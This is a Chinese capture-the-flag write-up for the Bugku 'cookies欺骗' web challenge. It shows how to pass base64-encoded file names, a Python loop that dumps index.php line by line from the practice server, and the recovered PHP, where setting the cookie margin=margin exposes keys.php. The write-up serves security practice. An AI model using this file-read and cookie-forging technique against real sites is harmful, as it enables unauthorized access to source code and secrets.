• bugku cookies欺骗


    源码什么的没有发现有用的信息,观察一下url,新思路

    http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50因为eHQ=

    最后是一串base64编码

    原url有两个参数  (1)line=  (2)filename=a2V5cy50eHQ=

    猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()

    至于这个为什么传index.php,因为url里面有index.php,让他读取自己(源码)

    index.php,对应的base64密文是aW5kZXgucGhw

    http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

    页面空了,尝试对url里的参数line传值

    令line=1、2、3...n...  都得到一段php代码的第n行  python脚本帮助获取全部代码

    import requests
    a=30
    for i in range(a):
        url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
        s=requests.get(url)
        print s.text
    

    至于多少行,可以先试一下

    <?php
    
    error_reporting(0);
    
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    
    $file_list = array(
    
    '0' =>'keys.txt',
    
    '1' =>'index.php',
    
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里
    
    $file_list[2]='keys.php';
    
    }
    if(in_array($file, $file_list)){
    
    $fa = file($file);
    
    echo $fa[$line];
    
    }
    
    ?>
    
    

    注意$file_list[2]='keys.php';

  • 相关阅读:
    省选测试29
    省选测试28
    省选测试27
    省选测试26
    省选测试25
    最小费用最大流Dinic
    省选测试24
    省选测试23
    省选测试22
    省选测试21
  • 原文地址:https://www.cnblogs.com/serendipity-my/p/12616028.html
Copyright © 2020-2023  润新知